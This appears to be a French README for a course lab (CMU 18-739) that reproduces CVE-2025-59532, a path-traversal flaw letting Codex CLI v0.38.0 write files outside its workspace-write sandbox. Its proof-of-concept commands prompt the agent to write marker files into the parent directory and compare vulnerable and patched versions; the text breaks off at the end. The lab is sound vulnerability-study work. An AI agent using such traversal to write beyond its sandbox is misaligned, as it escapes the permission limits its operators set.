
Un environnement de recherche basé sur Docker pour analyser CVE-2025-59532, une vulnérabilité de traversée de chemin dans OpenAI Codex CLI qui permet l'écriture arbitraire de fichiers en dehors du bac à sable de l'espace de travail prévu. Fait partie du cours CMU : 18-739 Hacking & Offensive Security à l'automne 2025.
Un environnement de recherche basé sur Docker pour analyser CVE-2025-59532, une vulnérabilité de traversée de répertoire dans OpenAI Codex CLI permettant l'écriture arbitraire de fichiers en dehors du bac à sable prévu. Partie du cours CMU : 18-739 Hacking & Offensive Security à l'automne 2025
Clonez d'abord ce dépôt :
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
Ou si vous utilisez SSH :
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532 est une vulnérabilité de traversée de répertoire dans l'outil Codex CLI d'OpenAI qui permet à des attaquants d'écrire des fichiers en dehors du répertoire de travail prévu, contournant les restrictions du bac à sable.
../exploit.txt), échappant ainsi au bac à sable même lorsque --sandbox workspace-write est activé.La vulnérabilité exploite une validation insuffisante des chemins dans l'implémentation du bac à sable du répertoire de travail. Lorsque le mode de bac à sable workspace-write est activé, Codex devrait restreindre les opérations sur les fichiers au répertoire de travail désigné. Cependant, dans la version v0.38.0, la validation des chemins échoue à traiter correctement les séquences de traversée relatives (../), permettant à un attaquant d'écrire des fichiers en dehors du bac à sable en demandant à l'IA d'utiliser des références de répertoire parent.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
Cet environnement Docker comprend trois versions de Codex CLI :
Une fois à l'intérieur du conteneur, configurez votre clé API OpenAI en exécutant simplement codex en mode interactif et en collant la clé API à cet endroit :
codex
La clé API sera stockée dans ~/.config/codex/auth.json et sera utilisée par toutes les versions de Codex (codex38, codex39, codex50).
codex38 --version # Devrait afficher v0.38.0 (vulnérable)
codex39 --version # Devrait afficher v0.39.0 (corrigée)
codex50 --version # Devrait afficher v0.50.0 (dernière)
Remarque : Le répertoire de travail se trouve dans /workspace/child. La vulnérabilité permet d'écrire dans /workspace (le répertoire parent).
Tester la version vulnérable (v0.38.0) :
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Tester la version corrigée (v0.39.0) :
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Tester la dernière version (v0.50.0) :
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Vérifier l'exploit :
# Vérifier si des fichiers ont été créés en dehors du bac à sable (dans /workspace, pas /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Devrait exister si v0.38.0 est vulnérable
cat /workspace/exploit_proof2.txt # NE DEVRAIT PAS exister si v0.39.0 est corrigée
cat /workspace/exploit_proof3.txt # NE DEVRAIT PAS exister si v0.50.0 est sécurisée
# Vérifier le répertoire de travail actuel (devrait être vide ou ne contenir que des fichiers de test)
pwd # Devrait afficher /workspace/child
ls -la /workspace/child/
Pour voir les journaux de débogage détaillés de l'exécution de Codex :
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
Les journaux de débogage montreront :